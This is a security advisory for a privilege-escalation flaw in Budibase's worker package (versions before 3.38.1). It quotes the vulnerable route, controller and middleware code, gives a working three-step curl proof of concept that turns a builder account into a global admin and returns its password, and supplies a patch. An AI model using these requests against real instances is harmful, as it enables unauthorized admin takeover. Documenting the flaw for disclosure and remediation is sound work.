| Package | Affected versions | Patched versions |
|---|---|---|
| @budibase/worker | < 3.38.1 | 3.38.1 |
The POST /api/global/users/onboard endpoint is protected by workspaceBuilderOrAdmin middleware, allowing any user with builder permissions to access it. When SMTP email is not configured (the default for self-hosted Budibase instances), this endpoint bypasses the admin-restricted invite flow and directly creates users via bulkCreate, accepting arbitrary admin and builder role assignments from the request body. A builder-level user can create a new global admin account and receive the generated password in the response, achieving full privilege escalation.
The vulnerability stems from a mismatch between the authorization level of the onboardUsers endpoint and the user-creation capabilities it exposes when SMTP is not configured.
Route definition (packages/worker/src/api/routes/global/users.ts:93-109):
builderOrAdminRoutes // <-- allows builders, not just admins
.post(
"/api/global/users/onboard",
buildInviteMultipleValidation(),
controller.onboardUsers
)
Compare with the invite and inviteMultiple endpoints which are correctly admin-only:
adminRoutes // <-- admin only
.post("/api/global/users/invite", buildInviteValidation(), controller.invite)
.post("/api/global/users/multi/invite", buildInviteMultipleValidation(), controller.inviteMultiple)
Controller (packages/worker/src/api/controllers/global/users.ts:601-630):
export const onboardUsers = async (ctx) => {
if (await isEmailConfigured()) {
await inviteMultiple(ctx) // admin-only path (delegates to invite flow)
return
}
// No SMTP → directly create users with attacker-controlled roles
const users = ctx.request.body.map(invite => {
const password = generatePassword(12)
createdPasswords[invite.email] = password
return {
email: invite.email,
password,
forceResetPassword: true,
roles: invite.userInfo.apps || {},
admin: { global: !!invite.userInfo.admin }, // <-- attacker-controlled
builder: invite.userInfo.builder, // <-- attacker-controlled
tenantId: tenancy.getTenantId(),
}
})
let resp = await userSdk.db.bulkCreate(users)
for (const user of resp.successful) {
user.password = createdPasswords[user.email] // <-- password returned!
}
ctx.body = { ...resp, created: true }
}
Middleware pass-through (packages/backend-core/src/middleware/workspaceBuilderOrAdmin.ts:10-26):
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeIn the worker context (env.isWorker() is true), when there is no workspaceId parameter in the request (which there isn't for the onboard endpoint), the middleware at line 19 checks !workspaceId && env.isWorker() — this is true, so it falls through to line 21 which only checks hasBuilderPermissions. Any global builder passes.
Validation gap (buildInviteMultipleValidation at line 37-45): The Joi schema validates userInfo as Joi.object().optional() with no constraints on its contents, so admin and builder fields pass through.
No downstream check: bulkCreate and buildUser do not strip or validate admin/builder fields — they are written directly to the user document in CouchDB.
Prerequisites: A self-hosted Budibase instance (default: no SMTP configured) and a user account with builder-level access.
Step 1: Authenticate as a builder user and obtain the session cookie:
# Login as builder
curl -s -c cookies.txt -X POST 'http://localhost:10000/api/global/auth/default/login' \
-H 'Content-Type: application/json' \
-d '{"username":"[email protected]","password":"builderpassword"}'
Step 2: Create a new global admin user via the onboard endpoint:
curl -s -X POST 'http://localhost:10000/api/global/users/onboard' \
-H 'Content-Type: application/json' \
-b cookies.txt \
-d '[{"email":"[email protected]","userInfo":{"admin":{"global":true}}}]'
Expected response (includes the generated password):
{
"successful": [{"email":"[email protected]","password":"<generated-12-char-password>","admin":{"global":true},...}],
"unsuccessful": [],
"created": true
}
Step 3: Login as the new admin:
curl -s -X POST 'http://localhost:10000/api/global/auth/default/login' \
-H 'Content-Type: application/json' \
-d '{"username":"[email protected]","password":"<password-from-step-2>"}'
The attacker now has full global admin access.
Move the onboardUsers route from builderOrAdminRoutes to adminRoutes to match the authorization level of invite and inviteMultiple:
--- a/packages/worker/src/api/routes/global/users.ts
+++ b/packages/worker/src/api/routes/global/users.ts
-builderOrAdminRoutes
+adminRoutes
.post(
"/api/global/users/onboard",
buildInviteMultipleValidation(),
controller.onboardUsers
)
Additionally, the onboardUsers controller should validate that the caller has sufficient permissions to assign the requested role level. Even admin users should not be able to create users with roles exceeding their own. Consider adding explicit validation in the controller:
// In onboardUsers, before bulkCreate:
for (const invite of ctx.request.body) {
if (invite.userInfo.admin && !ctx.user.admin?.global) {
ctx.throw(403, "Only admins can create admin users")
}
}